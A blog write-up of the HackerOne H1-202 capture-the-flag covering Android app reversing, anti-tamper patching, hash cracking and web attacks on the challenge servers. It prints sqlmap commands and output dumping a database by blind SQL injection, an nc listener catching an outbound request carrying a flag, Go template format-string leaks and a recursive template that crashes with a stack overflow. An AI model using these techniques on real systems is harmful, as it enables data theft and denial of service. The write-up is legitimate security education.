H1-202 CTF - Writeup

Android Reverse Engineering & Web Exploitation

Posted by André on February 23, 2018

I want to dedicate this writeup to my grandma, who passed away while I was finishing it. Descansa em Paz, Avó.


Another great CTF organized by Hackerone, another sleepless weekend! This time, the prize is a free trip to Washington, DC for their private event H1-202. Participants had to reverse an Android app and hack websites to find flags. Honestly, I really enjoyed this concept. The idea of having only one app for a CTF, with an API and everything that I’m going to show you in this writeup, feels more like real-world than the H1-702 CTF challenges. Great job!

Congratulations @corb3nik, from OpenToAll, for finishing the CTF in 1st place. I finished the competition in 2nd place, a few hours later 😃

Let’s get the party started

Six challenges, one single Android app. Mobile, Web and Reverse. Awesome! You can get the APK here, if you’re interested. I started the Android SDK emulator and installed the APK. The app looks like this:

Plain text flag

The first flag is directly in the app. Can you find it?
➜ strings app-release.apk | grep flag

Easy peasy, but I need to warm up the engine! After extracting the package, I also found the first flag on the app resources.

./res/values/strings.xml:45: <string name="first_flag">flag{easier_th4n_voting_for_4_pr3z}</string>

Encrypted flag

Meet the Candidates
Kate is a high school student from New York City and has been hacking since she was 12 years old. She enjoys hanging out at hacking nightclub cyberdelia and playing Wipeout the arcade game. She is well known for hacking the Gibson and for stopping the computer virus Da Vinci. She is also known for being a founder of the term, “Hack The Planet!”

I decompiled the app with JADX and started to inspect the code. I used the argument -e in order to export a gradle project that can be imported on Android Studio. The cool thing about it: you can just right click a given function and find usages, even if class names are stripped. Given the title of this challenge, the java class com.hackerone.candidatevote.f caught my attention instantly.

package com.hackerone.candidatevote;

import ...

public class f {
    public static SecretKey a(Context context) {
        return new SecretKeySpec(context.getString(R.string.title_for_the_current_time).getBytes(), "AES");

    public static byte[] a(String str, SecretKey secretKey) {
        Cipher instance;
        GeneralSecurityException e;
        byte[] bArr;
        Exception e2;
        try {
            instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
        } catch (NoSuchAlgorithmException e3) {
            e = e3;
            instance = null;
            instance.init(1, secretKey);

Black magic? No! Military grade encryption? Who knows… Well, it’s AES in ECB mode and we have the secret key: R.string.title_for_the_current_time. Inspect the resources and you’ll find the value in strings.xml:

<string name="title_for_the_current_time">AAAAAAAAAAAAAAAA</string>

I found one usage of these functions in the Main Activity class:

protected void onCreate(Bundle bundle) {
	Log.d("TEST", "Helper for when I need to decrypt things: " + a(f.a("testing encryption", f.a(this))));

Note that the functions have the same name, but they are different. The first f.a is the second function of the previous decompiled code, which encrypts a string, and the second one is the function that constructs the SecretKey. So, I inspected this log using adb logcat -s "TEST" and the output was:


Decrypting this hex encoded string results in “testing encryption”. So, where’s the encrypted flag?

Analyzing the native library

public class MainActivity extends AppCompatActivity {
	static {
    native void aaaa(String str);
    native void aaaaaaaaa(String str);

These aa* functions are invoked not only on the Main Activity, but also on other classes. Now, it’s time to understand what’s going on inside the native library. I like the x86_64 architecture, so I chose to analyze the respective binary, but the app was also compiled for armv7, arm64 and x86. Let’s take a look on MainActivity.aaaa:

Basically, this results in the following behavior:

bigThing[0xc] = str_arg[0:16]
bigThing[0xd] = str_arg[16:32]

I inspected every aa* function and obtained the final state of the bigThing.

from Crypto.Cipher import AES

pkcs5_unpad = lambda s : s[0:-ord(s[-1])]

cipher = AES.new("A"*16)  # default mode: ECB

enc = "DDC09B1C11F8675E0186310A6B36002D"
enc += "9D2A44020EA764B6AD790A9B1E894BFE"
enc += "5055DEAA9850A19FB67D4E76BC8FD825"
enc += "91C6DD1299FD5D1DE9C4A0C78616D244"
enc += "44648798D358E60D7C4D29B5469CAEA8"
enc += "A76CBBE4FA5619E360BF7DFC77D1D49E"
enc += "1E7746CB4B982418E917EDD07F6ACFFA"

➜ python decrypt.py

51 characters… and the ciphertext length was 112. Wut?

➜ python decrypt.py | xxd
00000000: 666c 6167 7b77 3077 5f69 5f73 6565 5f75  flag{w0w_i_see_u
00000010: 5f63 616e 5f64 6f5f 6465 6372 7970 7469  _can_do_decrypti
00000020: 6f6e 7d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d  on}.............
00000030: 656c 6563 7469 6f6e 4164 6d69 6e3a 2461  electionAdmin:$a
00000040: 7072 3124 516b 3670 6e75 6757 2446 7846  pr1$Qk6pnugW$FxF
00000050: 4678 7367 3841 6430 5156 656d 7033 7353  Fxsg8Ad0QVemp3sS
00000060: 5348 2e0a                                SH..

Hell yeah! It makes perfect sense. The PKCS5 padding value was \x0d, our friend CR (carriage return). The flag was encrypted on the first 3 blocks only. Then, we have some credentials.

At this point, I tried to crack the password hash before solving more challenges. This hash was an APR1, an “Apache-specific algorithm using an iterated (1000 times) MD5 digest”. John The Ripper supports this task:

➜ john --show hash.txt

1 password hash cracked, 0 left

Patching the APK & Recon

This step was not required to solve these challenges, but it was really useful to inspect the application traffic in order to understand how it communicates with the server. I didn’t have my emulator configured at the time to intercept HTTPS requests with certificate pinning, which is implemented by the class CandidateClient:

package com.hackerone.candidatevote;

import ...

public class CandidateClient {
    public static d a() {
        return (d) c().a(d.class);


    private static m c() {
        x a = new a().a(new g.a().a("api-h1-202.h1ctf.com", "sha256/2Bp6rERcJhrnVVc2OIbB/huXhOy6RFp/IMvk1AfBjvU=").a()).a();
        return new m.a().a("https://api-h1-202.h1ctf.com/").a(c.a.a.a.a()).a(a).a();

I found it easier to patch the HTTPS Url and change it to HTTP. However, there was a simple anti-tampering mechanism implemented in the AntiTamper class:

public static boolean a(Context context) {
    ZipFile zipFile;
    long parseLong = Long.parseLong(context.getString(R.title_for_another_day));
    try {
        zipFile = new ZipFile(context.getPackageCodePath());
    } catch (IOException e) {
        zipFile = null;
    ZipEntry entry = zipFile.getEntry("classes.dex");
    Log.d("TAMPER", "" + entry.getCrc());
    if (entry.getCrc() != parseLong) {
        return true;
    return false;

Among other things, this class inspects if Frida is running on the device and checks if Xposed Framework or Cydia Substrate are present. In the previous function, the CRC of the ZIP must match the one included in the app resources (375889119). It’s easy to modify this function in order to allow further modifications in the app like the HTTPS Url: just make the function always return false. I’m not going to explain how I used Apktool to do this, since it is already explained here. In this case, I replaced const/4 v0, 0x1 with const/4 v0, 0x0 in the AntiTamper.smali file, recompiled and signed the new APK. Then, I started my emulator with the -http-proxy option and started intercepting requests with Burp.

The API endpoints were also available in the interface com.hackerone.candidatevote.d. However, thanks to Burp, I knew exactly the parameters and methods of every endpoint. It’s also important to mention that we need to provide the X-API-AGENT header, otherwise the API will return a 417 response code (Expectation Failed).

public interface d {
    @k(a = {"X-API-AGENT: ANDROID"})
    @f(a = "/candidates")  // GET
    b<ArrayList<c>> a();

    @k(a = {"X-API-AGENT: ANDROID"})
    @o(a = "/user/login")  // POST
    b<b> a(@a h hVar);

    @p(a = "/vote/{id}")  // PUT
    @k(a = {"X-API-AGENT: ANDROID"})
    b<a> a(@i(a = "X-API-TOKEN") String str, @s(a = "id") int i);

    @k(a = {"X-API-AGENT: ANDROID"})  // POST
    @o(a = "/candidates")
    b<a> a(@i(a = "X-API-TOKEN") String str, @a c cVar);

    @k(a = {"X-API-AGENT: ANDROID"})
    @o(a = "/user/register")  // POST
    b<b> b(@a h hVar);

Go-ing down the rabbit hole

The admin forgot to remove the code update endpoint. I wonder what secrets they left in there?

This endpoint is defined on the com.hackerone.candidatevote.e interface:

public interface e {
    @k(a = {"X-API-AGENT: ANDROID"})
    @f(a = "/code")
    b<ad> a(@i(a = "token") String str, @t(a = "app") String str2);

I found that this interface is used on the function CandidateClient.b(), which is called on the Main Activity. I sent a request to http://api-h1-202.h1ctf.com/code and received this error: {"error":"Did not provide app query param"}. Sending a request to /code?app=test results in the following response: {"error":"Could not find application"}. While inspecting the Main Activity code we can easily uncover the correct app name:

public void l() {
        if (this.q != null) {
            CandidateClient.b().a(this.q, "client").a(new d<ad>(this) {
                final /* synthetic */ MainActivity a;

After sending a request to /code?app=client, we get a new file to analyze: client.jar After decompiling the JAR, we can find some interesting code:

package pinkfloyd;

import go.Seq;

public abstract class Pinkfloyd { private Pinkfloyd() {}

    public static void touch() {}

    private static native void _init();
    public static native void darkSideOfTheMoon();
    static { Seq.touch();

I found that darkSideOfTheMoon was never called. So, I started a new Android Studio project, included the JNI libs, tried to replicate the code and called this function.

Then, a nice flag pops on the application logs!

I analyzed it later and the native library was written in Go and this function just decrypts and prints the flag using a XOR cipher.

In ur db? Oh no!

That is a nice voting API server you got there. I bet you have a good DB too!

At this point, I didn’t find any SQL injection on the API, so I fired up dirsearch several times and I preprended known endpoints. Suddenly, a wild endpoint appears!

This endpoint was vulnerable to SQL injection. It’s possible to extract information because if the query doesn’t return any result, we receive a 404 response code.

Now it’s trivial to use a tool like sqlmap to dump the database ( sorry @breadchris :p ). The flag for this challenge was on the table secret_flags.

./sqlmap.py --headers="X-API-AGENT:ANDROID" -u "http://api-h1-202.h1ctf.com/candidates/1" \
--dump --dbms sqlite
Database: SQLite_masterdb
[4 tables]
| candidates      |
| secret_flags    |
| sqlite_sequence |
| users           |
Database: SQLite_masterdb
Table: candidates
[3 entries]
| id | url                             | name                   | votes |
| 1  | https://i.imgur.com/IjS8J4j.png | Elliot Anderson        | 5     |
| 2  | https://i.imgur.com/QomAW0E.png | Kate "Acid Burn" Libby | 10    |
| 3  | https://i.imgur.com/0ZY5JsB.png | Irwin "Whistler" Emery | 3     |
➜ ./sqlmap.py --headers="X-API-AGENT:ANDROID" -u "http://api-h1-202.h1ctf.com/candidates/1" \
 --dump --dbms sqlite -T secret_flags

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://api-h1-202.h1ctf.com:80/candidates/1 AND 1412=1412
[03:30:22] [INFO] testing SQLite
[03:30:22] [INFO] confirming SQLite
Table: secret_flags
[1 entry]
| id | flag                                    |
| 1  | flag{uh_oh_you_sh0uldnt_be_seeing_this} |

Calling out Foul Play

Meet the Candidates
Irwin is a security specialist based in San Francisco. He is well known for cracking a special encryption device made by Setec Astronomy. Irwin is legally blind and has exceptional sensory skills. He has been able to geo-locate people via sound analysis of recorded traffic patterns.

There was one interesting function on the native library of the main application: AddCandidateActivity.getJs, which returns one line of Javascript code, that can be easily transformed in the following code:

var a=['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu','c2V0UmVxdWVzdEhlYWRlcg==','QmFzaWMg','aWZvcmdvdDp0aGVwYXNzd29yZA==','c2VuZA==','YXBwbHk=','SUthTWQ=','YWV2QW0=','WUxBRnA=','U01rR2I=','Y29uc29sZQ==','Nnw1fDF8M3wyfDR8MHw4fDc=','b25pSE4=','c3BsaXQ=','ZXhjZXB0aW9u','d2Fybg==','aW5mbw==','ZGVidWc=','ZXJyb3I=','bG9n','dHJhY2U=','cmVzcG9uc2VUZXh0','aGFzT3duUHJvcGVydHk=','cHVzaA==','d1VkUnk=','am9pbg==','Z2V0TmFtZQ==','Z2V0VXJs','PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=','YWRkRXZlbnRMaXN0ZW5lcg==','bG9hZA==','b3Blbg==','R0VU'];

// scrambles the contents of the previous array
    var e=function(f){

// base64 decodes a given index of the array
var b=function(c,d){
    var e=a[c];
            var f;
                var g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');
            var i='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            f['atob'] || (f['atob']=function(j){
                var k=String(j)['replace'](/=+$/,'');
                for(var l=0x0,m,n,o=0x0,p='';n=k['charAt'](o++);
        return p;
        var r=atob(q);var s=[];
        for(var t=0x0,u=r['length'];t<u;t++){
        return decodeURIComponent(s);

    var v=b['data'][c];
    } else{e=v;}
    return e;

var e=function(){
    var f=!![];
    return function(g,h){
        var i=f?function(){
                var j=h[b('0x0')](g,arguments);
                return j;

        return i;

var k=e(this,function(){
    // this just prevents debugging using console functions


function D(){

    var F={'wUdRy':function G(H,I){return H+I;}};
    var J=[];
    for(var K in E)
        return J[b('0x14')]('&');

// A -> javascript interface
var L=A[b('0x15')]();  //getName() from the activity javascript interface
var M=A[b('0x16')]();  //getUrl() from the activity javascript interface
var N=b('0x17');  //"<h1>Candidate</h1><h3>Name: { { .Name } }</h3><img src="{ { .Url } }" />"
var O=serialize({'name':L,'image':M,'t':N});  //parameters: name, image, t

var P=new XMLHttpRequest();

P[b('0x18')](b('0x19'),D);  //addEventListener, load
P[b('0x1a')](b('0x1b'),b('0x1c'));  //open, GET, http://localhost:9001/admin
P[b('0x1d')]('Authorization',b('0x1e')+btoa(b('0x1f')));  //setRequestHeader, Basic btoa("iforgot:thepassword")
P[b('0x20')]();  //send

First, I found that we would need to login as admin to get to this activity. However, I patched the app to always start this activity, even if the API returns admin: false after login. Then, I used Google Chrome Dev Tools (chrome://inspect) to debug the WebView of this activity, which allowed me to understand what was happening, as you can see in the extra comments of the previous snippet of code. So, I was wondering what should we do with this. I talked to an admin on Slack and he noticed that he forgot to update the URL: s/localhost:9001/admin-h1-202.herokuapp.com/g

Navigating to http://admin-h1-202.herokuapp.com/admin asks for credentials in order to perform HTTP Basic Auth. I used the previously obtained credentials “electionAdmin” and “pickles” to login. A new error appears: {"error":"Did not provide t query param"}. So, I need to use the parameters from the JS code. I sent the URL of my server (http://admin-h1-202.herokuapp.com/admin?t={‌{.Name}‌} {‌{.Url}‌}&name=test&image=http://REDACTED:1337) in image parameter and received a request with the flag!

$ nc -lvp 1337
listening on [any] 1337 ...
connect to [REDACTED] from ec2-54-205-42-160.compute-1.amazonaws.com [] 42260
GET / HTTP/1.1
Host: REDACTED:1337
User-Agent: Go-http-client/1.1
Challenge: Calling out Foul Play
Flag: flag{wow_look_at_u_with_ur_server_n_shit}
Accept-Encoding: gzip


Meet the Candidates
Eliot is a senior network technician at Allsafe Cybersecurity and a vigilante hacker. He has social anxiety disorder and deals with clinical depression and delusions, which cause him to struggle socially and live isolated from other people. Eliot stays up to date on forums and boards, and maintains contacts through the internet. He is skilled in information gathering and observation, and demonstrates skills in social engineering, which allow him to learn as much as possible about the people around him.

As the name suggests, it should be possible to get another flag on the previous website. First, I noticed that the webapp was programmed in Go, since I explored the template documentation and the syntax was the same, no doubt.

GO - template injection

I tried to mess around with GO templates since we can define the template in the t parameter. Go templates seem to be secure, unlike what happens in other frameworks. Sometimes, template injection can lead to RCE. However, I found some cool stuff while I was trying to find a way to exploit them.

According to the documentation, we can execute the following functions: and, call, html, index, js, len, not, or, print, printf, println and urlquery. I really like format strings, so I tried to explore printf, an alias for fmt.Sprintf. Here’s what I found:

  • Information leak about the struct: {‌{printf .Name .}‌}&name=%#v
    Output: &main.Candidate{Name:"%#v", Url:"http://google.com"}
  • Memory leak: t={‌{printf .Name .}‌}&name=%p
    Output: 0xc4200e4900

I also found a way that cannot crash this service, but it can be used for a DoS in other programs, eventually, since it requires time to process. I coded a simple program in Go:

package main

import (

type Candidate struct {
    Name string
    Url string

func main() {
    reader := bufio.NewReader(os.Stdin)
    text, _ := reader.ReadString('\n')
    s := Candidate{text, "http"}

    //create a new template with some name
    tmpl := template.New("test")

    //parse some content and generate a template
    text, _ = reader.ReadString('\n')
    tmpl, err := tmpl.Parse(text)
    if err != nil {
        log.Fatal("Parse: ", err)

    //merge template 'tmpl' with content of 's'
    err1 := tmpl.Execute(os.Stdout, s)
    if err1 != nil {
        log.Fatal("Execute: ", err1)

Then, I tried to parse the following template: {‌{define “T”}‌}{‌{template “T”}‌}{‌{end}‌}{‌{template “T”}‌} and guess what…

Recursion is hard

runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

runtime stack:
runtime.throw(0x5844e0, 0xe)
    /usr/lib/go-1.6/src/runtime/panic.go:547 +0x90
    /usr/lib/go-1.6/src/runtime/stack.go:940 +0xb11
    /usr/lib/go-1.6/src/runtime/asm_amd64.s:359 +0x7f

goroutine 1 [stack growth]:
text/template.(*state).walk(0xc840100500, 0x0, 0x0, 0x0, 0x7ffff7f6f238, 0xc820018300)
    /usr/lib/go-1.6/src/text/template/exec.go:209 fp=0xc8401002f0 sp=0xc8401002e8

Yeah, this was fun, but it turns out I was blind. Remember that /code endpoint? I bruteforced it with common English words. It stopped at the word server. What a nice surprise. Anyway, let’s move on and analyze the new file: server

This program requires three environment variables: $PORT, $FLAG1 and $FLAG2. I executed it and this program was, in fact, the same that was running on the server. First, I tried to understand what flag was being sent in the header: it was the $FLAG1. So, we need to find a way to get $FLAG2.

In order to reverse this stripped Go binary, I used a script for IDA to rename functions: https://gitlab.com/zaytsevgu/goutils. This function was interesting:

There was a reference on .rodata for this function: rodata:off_A57FC0, so there is a function pointer on 0xA57FC0:

.rodata:0000000000A57FC0 off_A57FC0      dq offset main_getFlag  ; DATA XREF: main_GetAdminPage+B5
.rodata:0000000000A57FC0                                         ; main_GetAdminPage+10C3

I was suspicous about custom functions in Go templates. I realized that Template.Funcs is called in the binary!

I set a breakpoint on this call and started hunting for strings:

gef➤ b *0x8F34EF
gef➤ r
[New LWP 1476]
[New LWP 1477]
[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

[GIN-debug] GET    /admin                    --> main.GetAdminPage (3 handlers)
[GIN-debug] Listening and serving HTTP on :9999
Thread 1 "server" hit Breakpoint 1, 0x00000000008f34ef in ?? ()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x000000c420041788│+0x00: 0x000000c4201b70e0  →  0x0000000000000000  ← $rsp
0x000000c420041790│+0x08: 0x000000c420183890  →  0x0000000000000001
0x000000c420041798│+0x10: 0x0000000000a3a421  →  0x6761506e696d6461
0x000000c4200417a0│+0x18: 0x0000000000000009
0x000000c4200417a8│+0x20: 0x000000c4201a8568  →  0x000000c4201b70e0  →  0x0000000000000000
0x000000c4200417b0│+0x28: 0x0000000000000000
0x000000c4200417b8│+0x30: 0x000000c42010e900  →  0x0000000000a35fea  →  "GETGT;Gg;Gt;HanIf-Im;IntJanJulJunKeyLT;LaoLl;Lt;Ma[...]"
0x000000c4200417c0│+0x38: 0x0000000000000000

The argument of Template.Funcs is probably a map struct. In Go, function arguments are passed in the stack unlike the standard x64, where arguments are passed in the registers. I found the correct function name: The string located at 0xa3b5cb with length 0xb.

gef➤  x/4gx 0x000000c420183890
0xc420183890:   0x0000000000000001  0x266c8ceb00000000
0xc4201838a0:   0x000000c42009d320  0x0000000000000000 <- pointer to a string struct
gef➤  x/4gx 0x000000c42009d320
0xc42009d320:   0x000000000000005c  0x0000000000a3b5cb <- pointer to the buffer
0xc42009d330:   0x000000000000000b  0x0000000000000000 <- string size
gef➤  x/2gx 0x0000000000a3b5cb
0xa3b5cb:   0x5f5f5f5f5f5f5f5f  0x7364765f5f5f5f5f

To get the second flag, we just need to execute this function: /admin?t={‌{___________}‌}&name=ggwp&image=http://google.com

At this point, the server was offline. I couldn’t get my precious flag and I really needed to get some sleep, so…

import requests, json, time
from twilio.rest import Client
import time

XML_URL = "https://pastebin.com/raw/AYd4uZ70"


while True:
    url = "http://admin-h1-202.herokuapp.com/admin?t=%7b%7b___________%7d%7d&name=ggwp&image=http://google.com"
    if "error" not in requests.get(url, auth=("electionAdmin", "pickles")).text:
        print(requests.get(url, auth=("electionAdmin", "pickles")).text)
        call = twilio_client.calls.create(url=XML_URL, to=MY_NUMBER, from_=TWILIO_NUMBER)
    print("Not working")
$ ./autocall.py
Not working

The End